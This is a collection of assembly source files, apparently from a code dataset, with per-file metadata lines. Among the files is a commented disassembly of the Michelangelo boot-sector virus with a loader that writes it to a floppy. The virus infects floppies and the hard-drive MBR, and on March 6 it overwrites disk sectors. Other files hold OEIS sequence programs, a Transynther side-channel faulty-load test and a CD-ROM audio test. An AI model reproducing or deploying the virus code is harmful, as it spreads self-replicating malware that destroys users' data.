0x81, 0x63, 0x3d, 0x7c, 0x22, 0xc0, 0x9e, 0x1d, 0x43, 0xa1, 0xff, .byte 0x46, 0x18, 0xfa, 0xa4, 0x27, 0x79, 0x9b, 0xc5, 0x84, 0xda, 0x38, 0x66, 0xe5, 0xbb, 0x59, 0x07, .byte 0xdb, 0x85, 0x67, 0x39, 0xba, 0xe4, 0x06, 0x58, 0x19, 0x47, 0xa5, 0xfb, 0x78, 0x26, 0xc4, 0x9a, .byte 0x65, 0x3b, 0xd9, 0x87, 0x04, 0x5a, 0xb8, 0xe6, 0xa7, 0xf9, 0x1b, 0x45, 0xc6, 0x98, 0x7a, 0x24, .byte 0xf8, 0xa6, 0x44, 0x1a, 0x99, 0xc7, 0x25, 0x7b, 0x3a, 0x64, 0x86, 0xd8, 0x5b, 0x05, 0xe7, 0xb9, .byte 0x8c, 0xd2, 0x30, 0x6e, 0xed, 0xb3, 0x51, 0x0f, 0x4e, 0x10, 0xf2, 0xac, 0x2f, 0x71, 0x93, 0xcd, .byte 0x11, 0x4f, 0xad, 0xf3, 0x70, 0x2e, 0xcc, 0x92, 0xd3, 0x8d, 0x6f, 0x31, 0xb2, 0xec, 0x0e, 0x50, .byte 0xaf, 0xf1, 0x13, 0x4d, 0xce, 0x90, 0x72, 0x2c, 0x6d, 0x33, 0xd1, 0x8f, 0x0c, 0x52, 0xb0, 0xee, .byte 0x32, 0x6c, 0x8e, 0xd0, 0x53, 0x0d, 0xef, 0xb1, 0xf0, 0xae, 0x4c, 0x12, 0x91, 0xcf, 0x2d, 0x73, .byte 0xca, 0x94, 0x76, 0x28, 0xab, 0xf5, 0x17, 0x49, 0x08, 0x56, 0xb4, 0xea, 0x69, 0x37, 0xd5, 0x8b, .byte 0x57, 0x09, 0xeb, 0xb5, 0x36, 0x68, 0x8a, 0xd4, 0x95, 0xcb, 0x29, 0x77, 0xf4, 0xaa, 0x48, 0x16, .byte 0xe9, 0xb7, 0x55, 0x0b, 0x88, 0xd6, 0x34, 0x6a, 0x2b, 0x75, 0x97, 0xc9, 0x4a, 0x14, 0xf6, 0xa8, .byte 0x74, 0x2a, 0xc8, 0x96, 0x15, 0x4b, 0xa9, 0xf7, 0xb6, 0xe8, 0x0a, 0x54, 0xd7, 0x89, 0x6b, 0x35,
29.686747
101
0.673295
6b1a769d0f31f04342d9764fc2a9ed61c505b793
11,906
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.mich_ld.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.mich_ld.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.mich_ld.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;virus date 12/31/93 ;disassembly of 1 version of the MICHElANGLO VIRUS ;michelangelo with a loader that will put the virus ;on a disk in drive b: will work correctly on 360 or 1.2meg disks ;loads orginal boot at last sector on those type of disks ;warning if computer date is march 6 on boot up with virus it will ;try to infect hard drive then write system info on ;to disks destroying the information on disk ; ; ;to load virus onto A drive alter the equ disk_dr to 00 int13_IP EQU 0004CH ;interrupt 13H location int13_CS EQU 0004EH MICHA SEGMENT BYTE ASSUME CS:MICHA, DS:MICHA, ES:MICHA, SS:MICHA ;***************************************************************************** ;loader program disk_dr equ 01 ;01 disk b 00 disk a ORG 100H START: MOV DL,DISK_DR XOR SI,SI XOR AX,AX ; RESET DRIVE INT 13H INC SI AGAIN: MOV AX,201H ;READ BOOT INTO BUFFER MOV BX,OFFSET BUFF MOV CX,01 MOV Dh,00 mov dl,disk_dr INT 13H JNC ALRIGHT CMP SI,4 JA ERROR_WRITE xor ax,ax int 13h JMP AGAIN ALRIGHT: MOV AX,301H ; WRITE BOOT TO MOV Dh,01 ; LAST SECTOR OF MOV CL,03 ; DIR mov dl,disk_dr ; WHICH DISK CMP BYTE PTR [BX+15H],0FDH ; TYPE OF DISK HIGH LOW JZ LOW_DENSW ; MOV CL,0EH LOW_DENSW: MOV [LOC_ORG_BOOT],CX ; SETUP VIRUS FOR TYPE INT 13H ; DISK DRIVE XOR AX,AX ; RESET DRIVE INT 13H MOV AX,0301H ;WRITE VIRUS MOV BX,OFFSET M_START ; TO BOOT SECTOR mov cx,01 mov Dh,00 mov dl,disk_dr INT 13H JNC FINI ERROR_WRITE: MOV AH,9 MOV DX,OFFSET ERROR_MESS INT 21H FINI: INT 20H ;EXIT ERROR_MESS DB 'SORRY THERE IS A PROBLEM CHECK DRIVE DOOR' DB 'OR TRY ANOTHER DISK',24H BUFF DB 200H DUP (90) ;BUFFER FOR R/W OF DISK ;************************************************************************* ORG 0413H MEM_SIZE DW ? ;memory size in kilobytes ORG 043FH MOTOR_STATUS DB ? ;floppy disk motor status ;************************************************************************* ORG 7C00H M_START: JMP START1 JMP_HI_MEM DW OFFSET HI_MEM - 7C00H HIGH_SEG DW 0 DESTROY_CNT DB 02 LOC_ORG_BOOT DW 000EH ;HIGH DENS OLD_INT13_IP DW 0 OLD_INT13_CS DW 0 VIR_INT13: PUSH DS ; SAVE REGS PUSH AX ; OR DL,DL ; IS IT DISK DRIVE A JNZ BIOS_INT13 ; NO XOR AX,AX ;CHECK MOTOR STATUS MOV DS,AX ; IS MOTOR RUNNING TEST BYTE PTR DS:[MOTOR_STATUS],01 ; JNZ BIOS_INT13 ; YES POP AX ; LET POP DS ; THE INT CALL PUSHF ; GO BUT RETURN CALL DWORD PTR CS:[OLD_INT13_IP - 7C00H] ; TO THE VIRUS PUSHF ; ON RETURN CALL INFECT_FLOPPY ; ATTEMPT INFECT POPF ;ATTEMPTED INFECT RETURN RETF 2 ;TO ORGINAL INT CALLER BIOS_INT13: POP AX ;LET BIOS HANDLE POP DS ;THE CALL JMP DWORD PTR CS:[OLD_INT13_IP - 7C00H] ; INFECT_FLOPPY: PUSH AX BX CX DX DS ES SI DI PUSH CS POP DS PUSH CS POP ES MOV SI,04 ;RETRY COUNTER READ_LP: MOV AX,201H ; SETUP TO READ BOOT SECTOR MOV BX,0200H ; TO END OF VIRUS MOV CX,01 ; XOR DX,DX ; PUSHF ;FAKE A INT 13 CALL CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; JNB NO_ERROR ; TRY_AGAIN: ; IF ERROR XOR AX,AX ; RESET DRIVE PUSHF ; AND TRY AGAIN FOR CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; COUNT OF 4 DEC SI ; USING SI JNZ READ_LP ; JMP SHORT ERROR_EXIT ;PROBALY WRITE PROTECT ;GET OUT NO_ERROR: XOR SI,SI CHK_FOR_INFECTION: CLD ; CHECK FIRST 2 BYTES LODSW ; TO VIRUS CMP AX,[BX] ; JNZ NOT_INFECTED_A ; NOT MATCH GO INFECT LODSW ; TRY NEXT 2 BYTES CMP AX,[BX+2] ; JZ ERROR_EXIT ; MATCH LEAVE NOT_INFECTED_A: MOV AX,301H ; WRITE THE ORGINAL MOV DH,01 ; BOOT TO THE NEW MOV CL,03 ; LOCATION FIND CMP BYTE PTR [BX+15H],0FDH ; NEW LOCATION JZ LOW_DENS ; BY CHECKING IF 360 MOV CL,0EH ; OR 1.2 LOW_DENS: MOV [LOC_ORG_BOOT - 7C00H],CX ;SAVE NEW LOCATION PUSHF ; CALL TO CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; INT 13 JB ERROR_EXIT UPDATE_END: MOV SI,3BEH ; COPY LAST MOV DI,1BEH ; 21 BYTES FROM MOV CX,21H ; ORGINAL BOOT CLD ; SECTOR REPZ MOVSW ; TO VIRUS MOV AX,0301H ; WRITE VIRUS XOR BX,BX ; TO BOOT SECTOR MOV CX,01 ; SECTOR 1 XOR DX,DX ; DRIVE A HEAD A PUSHF ;INT 13 CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; ERROR_EXIT: POP DI SI ES DS DX CX BX AX ; RESTORE REGS RET ; LEAVE START1: XOR AX,AX ;WHERE WE JUMP TO MOV DS,AX ;AT BOOT UP TIME CLI ;SET UP STACK MOV SS,AX ; MOV AX,7C00H ; MOV SP,AX ; STI ; PUSH DS ; SET UP FOR RETF PUSH AX ; LATER MOV AX,DS:[INT13_IP] ;SAVE OLD INT 13 mov [OLD_INT13_IP],AX ;VECTORS MOV AX,DS:[INT13_CS] ; MOV [OLD_INT13_CS],AX ; MOV AX,DS:[MEM_SIZE] ;DEC MEMORY SIZE DEC AX ; DEC AX ; MOV DS:[MEM_SIZE],AX ; MOV CL,06H ;CONVERT SIZE TO SHL AX,CL ;SEGMENT ADDRESS MOV ES,AX ; MOV [HIGH_SEG],AX ;SAVE ADDRESS MOV AX, OFFSET VIR_INT13 - 7C00H ; SET UP INT 13 TO MOV DS:[INT13_IP],AX ; POINT TO US MOV DS:[INT13_CS],ES ; MOV CX,1BEH ;OFFSET END_VIR - OFFSET M_START MOV SI,7C00H ;COPY VIRAL CODE UP IN MEMORY XOR DI,DI ; CLD ; REPZ MOVSB ; JMP DWORD PTR CS:[JMP_HI_MEM] ;GO THERE HI_MEM: XOR AX,AX ; RESET DRIVE MOV ES,AX ; SET UP ES SEGMENT TO 0 INT 13H ; PUSH CS ;DS POINTS HERE POP DS ; MOV AX,0201H ;READ ORGINAL BOOT MOV BX,7C00H ; MOV CX,[LOC_ORG_BOOT - 7C00H] ; CMP CX,0007H ; JNZ FLOPPY H_DRIVE: MOV DX,0080H ; READ ORGINAL INT 13H ; BOOT FROM HARD DRIVE JMP SHORT GET_DATE ; CHECK DATE FLOPPY: MOV CX,[LOC_ORG_BOOT - 7C00H] ;READ ORGINAL MOV DX,100H ;BOOT FROM FLOPPY INT 13H ; JB GET_DATE ; IF ERROR CHECK DATE PUSH CS POP ES HD_INFECT: MOV AX,0201H ;READ 1 SECTOR mov bx,0200h ;TO BUFFER mov cx,0001h ;SECTOR 1 MOV DX,0080H ;HEAD 0 DISK C: INT 13H JB GET_DATE ;IF ERROR CHK_BOOT: XOR SI,SI CLD LODSW CMP AX,[BX] JNE NOT_INFECTED LODSW CMP AX,[BX+2] JNE NOT_INFECTED GET_DATE: XOR CX,CX ;GET DATE MOV AH,04 ; INT 1AH ; CMP DX,0306H ;IS IT MARCH 6 JZ TRASH_DISK ; RETF ;BIOS_BOOT ;****************************************************************** ; TRASH DISK ROUTTINE SIMPLY WRITE MEMORY DATA FROM ; 5000:5000 TO THE DISKS FIRST 9 SECTORS UNTIL AN ERROR HITS IT ; TRASH_DISK: XOR DX,DX MOV CX,1 D_LOOP: MOV AX,0309H ;WRITE DISK 9 SECTORS MOV SI,[LOC_ORG_BOOT - 7C00H] CMP SI,+03 JE FLPPY_DISK MOV AL,0EH CMP SI,+0EH JE FLPPY_DISK MOV DL,80H MOV BYTE PTR [DESTROY_CNT - 7C00H],04 MOV AL,11H FLPPY_DISK: MOV BX,5000H MOV ES,BX INT 13H JNB NO_ERROR_DESTROY ;RESET_DISK XOR AH,AH INT 13H NO_ERROR_DESTROY: INC DH CMP DH,[DESTROY_CNT - 7C00H] JB D_LOOP XOR DH,DH INC CH JMP SHORT D_LOOP ;********************************************************************* NOT_INFECTED: ;HD ; INFECT HD MOV CX,0007 ; BY WRITING MOV [LOC_ORG_BOOT - 7C00H],CX ; ORGINAL BOOT MOV AX,0301H ; TO HEAD 0 SECTOR 7 MOV DX,0080H ; TRACK 0 INT 13H ; JB GET_DATE ; ;UPDATE_PARTION: MOV SI,03BEH ;IMPORTANT TO UPDATE MOV DI,01BEH ;PARTION TABLE MOV CX,21H ; REPZ MOVSW ; MOV AX,0301H ;NOW WRITE VIRUS XOR BX,BX ;TO HARD DRIVE INC CL ; INT 13H JMP SHORT GET_DATE ;THE REST IS WHERE THE PARTION TABLE INFO GOES OR END OF FLOPPY DISK ;BOOT SECTOR GOES ORG 7DBEH END_VIR: DB 00 ORG 7DFEH BOOT_ID DB 55H,0AAH micha ENDS END START
30.764858
91
0.394591
0b4747a6999536efe0f56a6e2b678b8c03f10c09
610
asm
Assembly
oeis/082/A082034.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/082/A082034.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/082/A082034.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A082034: a(n) = (4*n + 1)*n!. ; Submitted by Jamie Morken(s1.) ; 1,5,18,78,408,2520,18000,146160,1330560,13426560,148780800,1796256000,23471078400,330032102400,4969162598400,79768136448000,1359981342720000,24542432538624000,467373280518144000,9366672731480064000,197065062662307840000,4342730084595302400000,100036064772207083520000,2404237556716302827520000,60183494968124225617920000,1566632214376429584384000000,42345603418293591736320000000,1186886770095600385523712000000,34452382941123666236669952000000,1034486153267545128681603072000000 mov $1,$0 mul $0,4 add $0,1 lpb $1 mul $0,$1 sub $1,1 lpe
50.833333
481
0.85082
53d16098c4277393482752a8d9b7b7c468262b03
1,542
asm
Assembly
programs/oeis/168/A168609.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168609.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168609.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168609: a(n) = 3^n + 4. ; 5,7,13,31,85,247,733,2191,6565,19687,59053,177151,531445,1594327,4782973,14348911,43046725,129140167,387420493,1162261471,3486784405,10460353207,31381059613,94143178831,282429536485,847288609447,2541865828333,7625597484991,22876792454965,68630377364887,205891132094653,617673396283951,1853020188851845,5559060566555527,16677181699666573,50031545098999711,150094635296999125,450283905890997367,1350851717672992093,4052555153018976271,12157665459056928805,36472996377170786407,109418989131512359213,328256967394537077631,984770902183611232885,2954312706550833698647,8862938119652501095933,26588814358957503287791,79766443076872509863365,239299329230617529590087,717897987691852588770253,2153693963075557766310751,6461081889226673298932245,19383245667680019896796727,58149737003040059690390173,174449211009120179071170511,523347633027360537213511525,1570042899082081611640534567,4710128697246244834921603693,14130386091738734504764811071,42391158275216203514294433205,127173474825648610542883299607,381520424476945831628649898813,1144561273430837494885949696431,3433683820292512484657849089285,10301051460877537453973547267847,30903154382632612361920641803533,92709463147897837085761925410591,278128389443693511257285776231765,834385168331080533771857328695287,2503155504993241601315571986085853,7509466514979724803946715958257551,22528399544939174411840147874772645,67585198634817523235520443624317927,202755595904452569706561330872953773,608266787713357709119683992618861311 mov $1,3 pow $1,$0 add $1,4 mov $0,$1
192.75
1,475
0.927367
7c5ceb33b0420e936cc732082ca0369f34f1d1a7
1,384
asm
Assembly
testc/cdrom/repeat.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
124
2020-03-17T05:49:47.000Z
2022-03-27T00:11:33.000Z
testc/cdrom/repeat.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
40
2020-05-24T12:50:43.000Z
2022-02-22T05:32:18.000Z
testc/cdrom/repeat.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
11
2020-05-26T17:52:04.000Z
2021-07-31T01:07:31.000Z
ASSUME CS:CODE,DS:DATA ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CODE SEGMENT MAIN PROC MOV AX,00C0H XOR CX,CX MOV DL,4 INT 93H MOV AX,DATA MOV DS,AX MOV AX,54C0H ; Get TOC XOR CX,CX LEA DI,[TOC_BUF] INT 93H CMP AH,AH JNE EXIT LEA DI,[TOC_BUF+6] MOV CL,1 FIND_FIRST_LOOP: CMP CL,BYTE PTR [TOC_BUF+2] JG EXIT TEST BYTE PTR [DI],80H JE FIRST_AUDIO_TRACK LEA DI,[DI+3] INC CL JMP FIND_FIRST_LOOP FIRST_AUDIO_TRACK: MOV AX,[DI] MOV CL,[DI+2] MOV WORD PTR [CMD_BUF],AX MOV [CMD_BUF+2],CL ADD AH,5 CMP AH,60 JL MINUTES_ADJUSTED SUB AH,60 INC AL MINUTES_ADJUSTED: MOV WORD PTR [CMD_BUF+3],AX MOV [CMD_BUF+5],CL MOV AX, 50C0H ; CDDA Play MOV CX,0FF01H ; With repeat LEA DI,[CMD_BUF] INT 93H MOV AH,01H INT 21H EXIT: MOV AH,4CH INT 21H MAIN ENDP CODE ENDS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DATA SEGMENT CMD_BUF DB 256 dup (0) TOC_BUF DB 4096 dup (0) DATA ENDS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; END MAIN
16.093023
80
0.421243
8d58e0ccab7ac6f138732f96b41876b6a9d37a70
7,083
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1238.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1238.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1238.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x3610, %rbp nop nop cmp $53643, %rcx mov $0x6162636465666768, %rdi movq %rdi, (%rbp) sub %rsi, %rsi lea addresses_A_ht+0x6650, %r9 nop and $28227, %rcx mov (%r9), %ax nop nop nop nop sub %rcx, %rcx lea addresses_A_ht+0xe7d0, %rbp nop nop and $24163, %rsi mov (%rbp), %eax nop nop dec %rdi lea addresses_WC_ht+0x9010, %rbp nop nop nop cmp %r10, %r10 mov (%rbp), %di nop nop nop nop nop sub $35372, %rcx lea addresses_UC_ht+0x1be10, %rsi lea addresses_WC_ht+0xcc50, %rdi nop nop nop nop nop inc %r13 mov $67, %rcx rep movsl nop nop nop nop cmp $42103, %r13 lea addresses_normal_ht+0x7110, %rsi lea addresses_UC_ht+0x14998, %rdi nop nop nop nop nop cmp %r9, %r9 mov $123, %rcx rep movsl inc %r13 lea addresses_normal_ht+0x15fe0, %r10 nop sub $12489, %rdi mov $0x6162636465666768, %rbp movq %rbp, (%r10) add $24663, %rcx lea addresses_D_ht+0x1d510, %r10 nop nop nop dec %r9 mov (%r10), %bp nop nop dec %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %rax push %rbx push %rdx push %rsi // Store lea addresses_A+0xb070, %rax nop and $20599, %rbx movl $0x51525354, (%rax) nop nop inc %r8 // Store lea addresses_US+0x15610, %r11 nop cmp $6023, %r13 mov $0x5152535455565758, %rsi movq %rsi, %xmm0 movups %xmm0, (%r11) dec %rbx // Store lea addresses_D+0x109b0, %rax clflush (%rax) nop nop nop nop add %r11, %r11 movb $0x51, (%rax) sub %rbx, %rbx // Store lea addresses_A+0x1fdf0, %r8 nop nop inc %rsi movb $0x51, (%r8) nop nop nop cmp $42385, %r11 // Store mov $0x68c360000000f90, %r8 nop nop nop nop nop xor %rbx, %rbx mov $0x5152535455565758, %r11 movq %r11, %xmm6 vmovups %ymm6, (%r8) nop nop nop nop nop add %rax, %rax // Faulty Load lea addresses_RW+0x1de10, %r11 nop nop sub $17192, %rsi mov (%r11), %r13d lea oracles, %r8 and $0xff, %r13 shlq $12, %r13 mov (%r8,%r13,1), %r13 pop %rsi pop %rdx pop %rbx pop %rax pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
34.052885
2,999
0.653395
138e638638941c807f96e2ead1d2f0fa48fd3733
452
asm
Assembly
oeis/227/A227428.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/227/A227428.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/227/A227428.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A227428: Number of twos in row n of triangle A083093. ; Submitted by Christian Krause ; 0,0,1,0,0,2,1,2,4,0,0,2,0,0,4,2,4,8,1,2,4,2,4,8,4,8,13,0,0,2,0,0,4,2,4,8,0,0,4,0,0,8,4,8,16,2,4,8,4,8,16,8,16,26,1,2,4,2,4,8,4,8,13,2,4,8,4,8,16,8,16,26,4,8,13,8,16,26,13,26,40,0,0,2,0,0,4,2,4,8,0,0,4,0,0,8,4,8,16,2 mov $2,$0 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $3,$4 bin $3,$0 add $3,1 gcd $3,3 div $3,2 add $1,$3 lpe mov $0,$1
23.789474
217
0.55531
32d38c664b8fec227aa72a91200bf7f08c264f3e
545
asm
Assembly
programs/oeis/031/A031394.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/031/A031394.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/031/A031394.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
